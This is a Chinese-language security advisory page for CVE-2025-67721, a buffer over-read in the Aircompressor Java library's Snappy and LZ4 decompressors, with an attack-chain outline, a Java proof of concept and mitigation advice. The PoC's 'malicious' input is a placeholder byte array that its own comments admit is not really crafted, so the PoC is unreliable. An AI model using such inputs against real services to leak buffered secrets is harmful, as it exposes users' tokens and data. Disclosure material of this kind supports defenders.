IPBUF安全漏洞报告
English
CVE-2025-67721 CVSS 7.5 高危

CVE-2025-67721 Aircompressor库Snappy/LZ4解压器缓冲区读取漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67721
漏洞类型
缓冲区过度读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Aircompressor (airlift/aircompressor)

相关标签

缓冲区过度读取信息泄露AircompressorSnappyLZ4Java压缩库CVE-2025-67721

漏洞概述

Aircompressor是一个Java压缩库,提供了Snappy、LZO、LZ4和Zstandard压缩算法的Java实现。该库在3.3及以下版本中存在缓冲区过度读取(Buffer Over-read)漏洞,源于Java实现的Snappy和LZ4解压器对畸形数据的处理不当。攻击者可以通过构造恶意的压缩输入,使解压缩后的输出包含之前缓冲区中残留的数据。在应用程序重用同一输出缓冲区进行多次解压缩操作的场景下(如Web服务器为提升性能而使用固定大小缓冲区),这可能导致敏感信息泄露。该漏洞的CVSS评分为7.5,属于高危漏洞,对机密性影响较高,但对完整性和可用性无影响。漏洞已于3.4版本中修复。

技术细节

该漏洞根本原因在于Aircompressor库中Snappy和LZ4解压缩实现对输入数据边界检查不完善。当解压器处理畸形或恶意构造的压缩数据时,由于缺少正确的边界验证,可能导致读取超出预期数据范围的内存内容。在解压缩过程中,如果输出缓冲区之前被用于处理其他数据,其中残留的敏感信息(如认证令牌、用户数据、密钥等)可能被包含在后续的解压缩输出中。攻击者需要构造特定的压缩数据流,触发解压器将相邻内存区域的数据复制到输出缓冲区。漏洞的利用前提是目标应用程序使用固定大小的输出缓冲区并重复使用进行多次解压缩操作,这在高性能Web服务中较为常见。攻击者可通过截获或诱导目标处理恶意压缩数据来实现信息泄露,无需认证或用户交互即可远程利用。

攻击链分析

STEP 1
步骤1
攻击者识别使用Aircompressor库且重用输出缓冲区的目标应用程序
STEP 2
步骤2
攻击者构造包含畸形数据的恶意压缩输入,触发解压器边界检查缺陷
STEP 3
步骤3
目标应用程序处理恶意压缩数据,解压器读取超出合法数据范围的缓冲区内容
STEP 4
步骤4
之前缓冲区中残留的敏感数据(如认证令牌、用户信息)被包含在解压缩输出中
STEP 5
步骤5
攻击者获取包含敏感信息的解压缩结果,实现信息泄露攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import io.airlift.compress.snappy.SnappyDecompressor; import io.airlift.compress.lz4.Lz4Decompressor; public class CVE_2025_67721_POC { public static void main(String[] args) { // This PoC demonstrates buffer over-read in Aircompressor // Vulnerability: Snappy/LZ4 decompressor reads beyond allocated buffer byte[] sensitiveData = "SECRET_API_KEY_12345".getBytes(); byte[] outputBuffer = new byte[1024]; // Initialize buffer with sensitive data (simulating previous buffer reuse) System.arraycopy(sensitiveData, 0, outputBuffer, 0, sensitiveData.length); // Malformed compressed input that triggers over-read byte[] maliciousInput = createMalformedCompressedData(); SnappyDecompressor decompressor = new SnappyDecompressor(); try { // This may leak sensitiveData through outputBuffer int decompressedSize = decompressor.decompress( maliciousInput, 0, maliciousInput.length, outputBuffer, 0, outputBuffer.length ); // Check if sensitive data leaked into output String result = new String(outputBuffer, 0, decompressedSize); if (result.contains("SECRET")) { System.out.println("[VULNERABLE] Buffer over-read detected!"); System.out.println("Leaked data: " + result); } } catch (Exception e) { System.out.println("Decompression error: " + e.getMessage()); } } private static byte[] createMalformedCompressedData() { // Generate malformed input that triggers the vulnerability // In real attack, this would be specifically crafted to cause over-read return new byte[]{0x01, 0x00, 0x00, 0x00, (byte)0xff, (byte)0xff}; } }

影响范围

airlift/aircompressor <= 3.3

防御指南

临时缓解措施
立即升级Aircompressor库至3.4版本以修复漏洞。如暂时无法升级,可采取以下临时措施:1) 避免复用解压缩输出缓冲区,每次解压缩使用新分配的缓冲区;2) 在使用完缓冲区后主动清除敏感数据;3) 对输入的压缩数据进行格式验证;4) 监控解压缩输出中的异常数据模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表